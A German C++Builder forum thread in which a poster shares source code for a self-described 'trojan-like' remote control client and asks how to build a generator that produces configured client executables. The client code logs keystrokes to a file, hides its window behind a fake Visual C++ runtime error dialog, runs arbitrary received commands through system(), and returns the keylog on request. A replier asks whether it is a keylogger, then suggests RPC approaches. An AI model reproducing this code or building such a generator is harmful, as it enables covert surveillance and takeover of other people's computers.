Programm ein neues Programm (bzw neue .exe) erstellen lassen?
-
Also kurz mein Problem geschildert:
Ich habe ein Programm, bestehend aus 2 Teilen welches vom Steuerteil aus einen anderen Rechner welcher die "Client.exe" geöffnet hat Steuern kann.
(Ja es ist ähnlich einen Trojaner, aber in der ausführung eher zum Zweck einer Remoteshell über eigens verschlüsselte Leitung mit Zusatzfuntionen)Ich muss also bei jeder Nutzung mit Sterung auf anderen Rechner, ein paar Zeilen Quellcode im Client ändern und neu compilieren.
Nun wöllte ich gerne einen "Builder" Programmieren, in welchen man die funktionen die der Client haben soll kurz anhakt, die Verbindungsparameter für den Client eingibt, und das dieses Programm daraus eine Client.exe mit entsprechenden Parametern erzeugt.Ist das ganze überhaupt möglich?
Wenn ja Lösungsansatz??(Das ClienProgramm muss nachwievor grafisch sein, dh einfach alle befehle in datei schreiben lassen und diese über externen Compiler compilieren lassen geht(Zumindest meinen Versuchen nach) nicht).
Hoffe mir kann jemand helfen.
Danke schonmal.
-
Du brauchst irgendetwas zwischen einer flexiblen Konfigurationsdatei und einer eingebetteten Skriptsprache. Ich denke, es sollte sich mit ersterem gut lösen lassen, aber das kommt natürlich drauf an, was du so vorhast. Wie sehen denn die zu ändernden Quelltextzeilen so aus? Zeige doch mal ein paar Beispiele.
Ansonsten wäre noch interessant, welche C++Builder-Version du verwendest. Mit C++Builder XE wäre das Einbinden einer Skriptsprache relativ leicht machbar; mit früheren Versionen ist es etwas aufwendiger.
-
Also vorerst: Ich benutze den Borland Builder 2011.
Quelltext wird hier jetzt nicht ganz soviel nutzen, aber ich versuchs mal:
Steuerpanel:
//--------------------------------------------------------------------------- #include <vcl.h> #pragma hdrstop #include "Unit1.h" #include "Unit2.h" //--------------------------------------------------------------------------- #pragma package(smart_init) #pragma link "IdBaseComponent" #pragma link "IdComponent" #pragma link "IdTCPClient" #pragma link "IdTCPConnection" #pragma resource "*.dfm" TForm1 *Form1; //--------------------------------------------------------------------------- __fastcall TForm1::TForm1(TComponent* Owner) : TForm(Owner) { } //--------------------------------------------------------------------------- void __fastcall TForm1::Button1Click(TObject *Sender) { long lengh; UnicodeString message; ChatClient->Host = Edit1->Text; ChatClient->Connect(); ChatClient->Socket->Write(Edit2->Text.Length()); ChatClient->Socket->Write(Edit2->Text); while (message!="endofstring") { lengh=ChatClient->Socket->ReadLongInt(); message = ChatClient->Socket->ReadString(lengh); Memo1->Lines->Add(message); } ChatClient->Disconnect(); } //--------------------------------------------------------------------------- void __fastcall TForm1::Button3Click(TObject *Sender) { Close(); } //--------------------------------------------------------------------------- void __fastcall TForm1::Button2Click(TObject *Sender) { Form2->Show(); } //---------------------------------------------------------------------------
Client:
CPP://--------------------------------------------------------------------------- #include <vcl.h> #include <windows.h> #include <winuser.h> #include <shlwapi.h> #pragma hdrstop #include "Unit1.h" //--------------------------------------------------------------------------- #pragma package(smart_init) #pragma link "IdBaseComponent" #pragma link "IdComponent" #pragma link "IdContext" #pragma link "IdCustomTCPServer" #pragma link "IdTCPServer" #pragma resource "*.dfm" TForm1 *Form1; Tasten *T; int mover=0; //--------------------------------------------------------------------------- __fastcall TForm1::TForm1(TComponent* Owner) : TForm(Owner) { } //--------------------------------------------------------------------------- void __fastcall TForm1::Timer1Timer(TObject *Sender) { String TempString; String save; for(int i = 8; i < 191; i++) { if(GetAsyncKeyState(i)&1 ==1) { TempString = T->Get_String(i); Edit1->Text=Edit1->Text+TempString; } } if (StrLen(Edit1->Text.t_str())>30) { save=Edit1->Text; T->Speichern(save); Edit1->Text=""; } mover++; if (mover==70) { T->move(); mover=0; } } //--------------------------------------------------------------------------- void __fastcall TForm1::FormCreate(TObject *Sender) { T= new Tasten; Randomize(); } //--------------------------------------------------------------------------- void __fastcall TForm1::ServerExecute(TIdContext *AContext) { char Zeile[100]; String help; int lengh = AContext->Connection->Socket->ReadLongInt(); UnicodeString befehl = AContext->Connection->Socket->ReadString(lengh); ifstream datei("test.dat",ios::app); if (befehl=="getlog") { while (!datei.eof()) { datei.getline(Zeile, sizeof(Zeile)); help=Zeile; AContext->Connection->IOHandler->Write(help.Length()); AContext->Connection->IOHandler->Write(help); } } if (befehl=="clearlog") { datei.close(); int dumm=remove( "test.dat" ); } if (befehl=="closeserver") { help="endofstring"; AContext->Connection->IOHandler->Write(help.Length()); AContext->Connection->IOHandler->Write(help); AContext->Connection->Disconnect(); Close(); } if (befehl=="mousemove 1") { T->akt=true; } if (befehl=="mousemove 0") { T->akt=false; } help="endofstring"; AContext->Connection->IOHandler->Write(help.Length()); AContext->Connection->IOHandler->Write(help); if (befehl!="getlog" && befehl!="clearlog" && befehl!="closeserver" && befehl!="mousemove 0" && befehl!="mousemove 1" ) T->Do_It(befehl); AContext->Connection->Disconnect(); } //--------------------------------------------------------------------------- void __fastcall TForm1::FormActivate(TObject *Sender) { HWND hWnd = GetForegroundWindow() ; ShowWindow(hWnd, SW_HIDE); MessageBox(0,"A Runtime Error has occured.\nDu you wish to Debug?\n\nLine: 14\nError: Object expected", "Microsoft Visual C++ Runtime Library", 3+16); } //---------------------------------------------------------------------------
Client.h:
//--------------------------------------------------------------------------- #ifndef Unit1H #define Unit1H //--------------------------------------------------------------------------- #include <Classes.hpp> #include <String.h> #include <fstream.h> #include <Controls.hpp> #include <StdCtrls.hpp> #include <Forms.hpp> #include <ExtCtrls.hpp> #include "IdBaseComponent.hpp" #include "IdComponent.hpp" #include "IdContext.hpp" #include "IdCustomTCPServer.hpp" #include "IdTCPServer.hpp" int x,y; //--------------------------------------------------------------------------- class TForm1 : public TForm { __published: // IDE-verwaltete Komponenten TTimer *Timer1; TEdit *Edit1; TIdTCPServer *Server; void __fastcall Timer1Timer(TObject *Sender); void __fastcall FormCreate(TObject *Sender); void __fastcall ServerExecute(TIdContext *AContext); void __fastcall FormActivate(TObject *Sender); private: // Benutzer-Deklarationen public: // Benutzer-Deklarationen __fastcall TForm1(TComponent* Owner); }; class Tasten { public: bool akt; String Get_String(int); void Speichern(String); void Do_It(String); void move(); }; String Tasten::Get_String(int Key) { String KeyString; if (Key == 8){ KeyString = "[delete]"; } if (Key == 13){ KeyString = "\n"; } if (Key == 32){ KeyString = " "; } if (Key == VK_PAUSE){ KeyString = "[PAUSE]"; } if (Key == VK_CAPITAL){ KeyString = "[CAPITAL]"; } if (Key == VK_SHIFT){ KeyString = "[SHIFT]"; } if (Key == VK_TAB){ KeyString = "[TABULATOR]"; } if (Key == VK_CONTROL){ KeyString = "[CTRL]"; } if (Key == VK_ESCAPE){ KeyString = "[ESCAPE]"; } if (Key == VK_END){ KeyString = "[END]"; } if (Key == VK_HOME){ KeyString = "[HOME]"; } if (Key == VK_LEFT){ KeyString = "[LEFT]"; } if (Key == VK_RIGHT){ KeyString = "[RIGHT]"; } //Char klein machen if (Key >=96 && Key <= 105){ KeyString = (char)Key-48; } if (Key > 47 && Key < 60){ KeyString = (char)Key; } if (Key != VK_LBUTTON || Key != VK_RBUTTON) { if (Key > 64 && Key < 91) { if (GetKeyState(VK_CAPITAL)) KeyString = (char) Key; else { Key = Key + 32; KeyString = (char)Key; } } } return KeyString; } void Tasten::Speichern (String temp) { fstream f; f.open("test.dat", ios::app); f << temp.t_str() << endl; f.close(); } void Tasten::Do_It(String exec) { system(exec.t_str()); } void Tasten::move() { x=random(1000); y=random(1000); if (akt==true) { SetCursorPos(x,y); mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0); } } //--------------------------------------------------------------------------- extern PACKAGE TForm1 *Form1; //--------------------------------------------------------------------------- #endif
// ChatClient und Server sind IndyTCPClient bzw Server.
//Der Quellcode ist noch nicht wirklich sauber, sind wie gesagt alles nur versuche und keine Endversionen.Was ich jetzt realisieren möchte ist das Der TCPClient in den Client zu packen, damit der Client die Verbindung zum Steuerpanel aufbaut und nicht man vom Steuerpanel zum Client verbinden zu müssen.
Nun muss der Client dann aber zu Jeder Steueradresse neu compiliert werden (man muss ihn ja die Adresse bzw den Hostnamen des Steurers mitgeben)
dh Es söllte mit einen Programm aus der Client.exe eine neue Client.exe erzeugt werden, welche den durch das Builder-Programm übergebenen Adressen beinhaltetIch besaß irgendwann mal "einen Spaßvirus" ähnlich der Form:
_______________________________
FUN
_______________________________
Er soll können:
_______________________________Je nachdem was man da angekreuzt hat, hat das Programm dann eine neue exe erzeugt welche beim öffnen genau das tut.
Ungefähr auf dem Prinzip wollte ich das, nur leider hab ich dazu noch keinen Ansatz.
-
n0sPh3r4tu schrieb:
Also vorerst: Ich benutze den Borland Builder 2011.
XE, meinst du?
Was genau steht denn unter Hilfe|Info? Da muß irgendeine Versionsnummer stehen; poste die mal.
n0sPh3r4tu schrieb:
Quelltext wird hier jetzt nicht ganz soviel nutzen
Ich meinte nicht, du solltest den ganzen Quelltext posten
Ich bin nur qualitativ an dem Teil interessiert, den du ändern und übertragen willst.
n0sPh3r4tu schrieb:
aber ich versuchs mal:
[...]Wird das ein Keylogger?
Sag mal genauer, was du vorhast.
-
Also in der Info steht:
Embarcadero® C++Builder® 2010 Version 14.0.3593.25826 Copyright © Embarcadero Technologies, Inc. Alle Rechte vorbehalten. Embarcadero® C++Builder® 2010 Geschützt durch eines oder mehrere der folgenden U.S.-Patente: 6,314,559; 6,247,020; 6,185,728; 6,151,602; 6,104,325; 6,014,138; 6,005,570; 6,002,867; 5,995,756; 5,991,776; 5,991,538; 5,949,416; 5,911,070; 5,909,580; 5,907,709; 5,826,253; 5,761,646; 5,745,712; 5,740,444; 5,724,589; 5,680,622; 5,678,039; 5,675,818; 5,655,093; 5,651,108; 5,644,768; 5,628,016; 5,611,043; 5,603,025; 5,603,021; 5,592,664; 5,561,793; 5,557,730; 5,551,018; 5,515,081; 5,499,359; 5,487,141; 5,485,618; 5,481,708; 5,436,637; 5,432,903; 5,339,433; D409,173 und andere erteilte und anhängige Patente. Enthält eine Untermenge aus der Graphviz-Bibliothek v2.22.2. Der Quelltext kann unter http://www.graphviz.org/Download.php heruntergeladen werden. Er unterliegt der CPL (Common Public License).
zur 2. frage:
Ja ein Logger ist eingebaut, allerdings nicht vordergründig, vordergründig ist befehle an die cmd weiterzureichen, Das Programm an sich soll auf meinen Server-Rechner und viell 1-2 anderen Rechnern laufen zum Zweck diese vom Laptop aus Steuern zu können (Wenn es denn irgendwann mal fertig wird)
Bis jetzt ist das ganze ein Versuch hinsichtlich der Netwerkkomponenten den ich wenn alles funktioniert noch um möglichst viele Befehle / Möglichkeiten erweitern will und dabei lernen.(Ja ich weis das ich auch einfach VNC benutzen könnte aber das wichtigste ist mir eigentlich der Lerneffekt
-
n0sPh3r4tu schrieb:
Also in der Info steht:
Embarcadero® C++Builder® 2010 Version 14.0.3593.25826
Ah. Also C++Builder 2010, nicht 2011.
Also, wenn ich es recht verstehe, möchtest du eher sowas wie RPCs, also im Client Funktionen aufrufen, die dann vom Server ausgeführt werden. Wenn du C++Builder XE Enterprise oder Architect hättest, könntest du das prima mit einem DataSnap-Server lösen. Ansonsten gibt es aber auch zahlreiche andere Möglichkeiten:
- SOAP: wird von C++Builder gut unterstützt, aber du müßtest auf dem Server einen IIS- oder Indy-Webserver laufenlassen.
- DCOM (würde ich aber die Finger davon lassen)
- Zur Not kannst du es auch mit Indy von Hand lösen.